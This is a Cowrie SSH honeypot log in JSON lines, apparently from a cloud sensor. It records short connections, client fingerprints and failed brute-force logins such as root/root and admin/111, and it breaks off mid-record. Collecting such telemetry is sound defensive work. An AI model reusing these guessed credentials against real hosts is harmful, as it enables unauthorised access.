{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:17.697149Z","src_ip":"141.11.88.14","session":"56e8faf7e22e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:17.700480Z","src_ip":"141.11.88.14","session":"56e8faf7e22e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:19.382218Z","src_ip":"141.11.88.14","session":"56e8faf7e22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:20.540209Z","src_ip":"141.11.88.14","session":"56e8faf7e22e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":31122,"dst_ip":"159.203.135.109","dst_port":22,"session":"45f083600d7e","protocol":"ssh","message":"New connection: 38.93.206.2:31122 (159.203.135.109:22) [session: 45f083600d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:21.215809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:21.220253Z","src_ip":"38.93.206.2","session":"45f083600d7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:21.486081Z","src_ip":"38.93.206.2","session":"45f083600d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:21.818899Z","src_ip":"38.93.206.2","session":"45f083600d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:22.900626Z","src_ip":"38.93.206.2","session":"45f083600d7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17500,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb4facbee205","protocol":"ssh","message":"New connection: 141.11.88.14:17500 (10.17.0.5:22) [session: cb4facbee205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:23.422959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:23.456309Z","src_ip":"141.11.88.14","session":"cb4facbee205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:23.557080Z","src_ip":"141.11.88.14","session":"cb4facbee205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:24.173021Z","src_ip":"141.11.88.14","session":"cb4facbee205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:25.285256Z","src_ip":"141.11.88.14","session":"cb4facbee205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":43434,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbe41dc1568b","protocol":"ssh","message":"New connection: 152.32.214.226:43434 (159.203.135.109:22) [session: fbe41dc1568b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:25.472831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:25.483725Z","src_ip":"152.32.214.226","session":"fbe41dc1568b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:25.696887Z","src_ip":"152.32.214.226","session":"fbe41dc1568b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12332112","message":"login attempt [root/12332112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:26.585914Z","src_ip":"152.32.214.226","session":"fbe41dc1568b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:27.803342Z","src_ip":"152.32.214.226","session":"fbe41dc1568b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":33064,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f378c01f7d3","protocol":"ssh","message":"New connection: 141.11.88.14:33064 (10.17.0.5:22) [session: 9f378c01f7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:28.834290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:28.889737Z","src_ip":"141.11.88.14","session":"9f378c01f7d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:29.019455Z","src_ip":"141.11.88.14","session":"9f378c01f7d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:29.982066Z","src_ip":"141.11.88.14","session":"9f378c01f7d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:31.172534Z","src_ip":"141.11.88.14","session":"9f378c01f7d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":33398,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c7db2f8ff94","protocol":"ssh","message":"New connection: 109.237.96.109:33398 (10.17.0.5:22) [session: 3c7db2f8ff94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:33.774538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:33.778932Z","src_ip":"109.237.96.109","session":"3c7db2f8ff94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:33.868499Z","src_ip":"109.237.96.109","session":"3c7db2f8ff94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"leto2011","message":"login attempt [root/leto2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:34.141555Z","src_ip":"109.237.96.109","session":"3c7db2f8ff94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:35.233285Z","src_ip":"109.237.96.109","session":"3c7db2f8ff94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":33082,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e2251c4c87c","protocol":"ssh","message":"New connection: 141.11.88.14:33082 (10.17.0.5:22) [session: 4e2251c4c87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:35.541830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:35.545770Z","src_ip":"141.11.88.14","session":"4e2251c4c87c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:35.627932Z","src_ip":"141.11.88.14","session":"4e2251c4c87c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soleil","message":"login attempt [root/soleil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:35.911660Z","src_ip":"141.11.88.14","session":"4e2251c4c87c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:37.068366Z","src_ip":"141.11.88.14","session":"4e2251c4c87c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62924,"dst_ip":"10.17.0.5","dst_port":22,"session":"05a1dd18ef28","protocol":"ssh","message":"New connection: 141.11.88.14:62924 (10.17.0.5:22) [session: 05a1dd18ef28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:43.652224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:43.714886Z","src_ip":"141.11.88.14","session":"05a1dd18ef28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:43.810816Z","src_ip":"141.11.88.14","session":"05a1dd18ef28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:44.334695Z","src_ip":"141.11.88.14","session":"05a1dd18ef28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:45.434323Z","src_ip":"141.11.88.14","session":"05a1dd18ef28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14064,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f2a00e68ae2","protocol":"ssh","message":"New connection: 141.11.88.14:14064 (10.17.0.5:22) [session: 2f2a00e68ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:49.219789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:49.463424Z","src_ip":"141.11.88.14","session":"2f2a00e68ae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2